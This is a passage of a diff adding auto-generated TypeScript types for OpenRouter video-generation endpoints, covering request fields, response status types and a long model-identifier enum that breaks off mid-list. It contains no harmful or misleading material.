OpenrouterPostVideosBlackForestLabsFlux3VideoBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosBlackForestLabsFlux3VideoRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosBlackForestLabsFlux3VideoRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosBlackForestLabsFlux3VideoRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: safety_tolerance, version, draft. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosBlackForestLabsFlux3VideoRequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosBlackForestLabsFlux3VideoOptions = { + body: OpenrouterPostVideosBlackForestLabsFlux3VideoBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosBlackForestLabsFlux3VideoResponses = { + '200': OpenrouterPostVideosBlackForestLabsFlux3VideoStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosBlackForestLabsFlux3VideoResponse = + OpenrouterPostVideosBlackForestLabsFlux3VideoStatus200 + +export const openrouterPostVideosBlackForestLabsFluxVideoEditStatus200StatusEnum = + { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', + } as const + +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditStatus200StatusEnumKey = + (typeof openrouterPostVideosBlackForestLabsFluxVideoEditStatus200StatusEnum)[keyof typeof openrouterPostVideosBlackForestLabsFluxVideoEditStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosBlackForestLabsFluxVideoEditStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosBlackForestLabsFluxVideoEditRequestAspectRatioEnum = + { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + '21:9': '21:9', + '9:21': '9:21', + } as const + +export type OpenrouterPostVideosBlackForestLabsFluxVideoEditRequestAspectRatioEnumKey = + (typeof openrouterPostVideosBlackForestLabsFluxVideoEditRequestAspectRatioEnum)[keyof typeof openrouterPostVideosBlackForestLabsFluxVideoEditRequestAspectRatioEnum] + +export const openrouterPostVideosBlackForestLabsFluxVideoEditRequestModelEnum = + { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': + 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': + 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 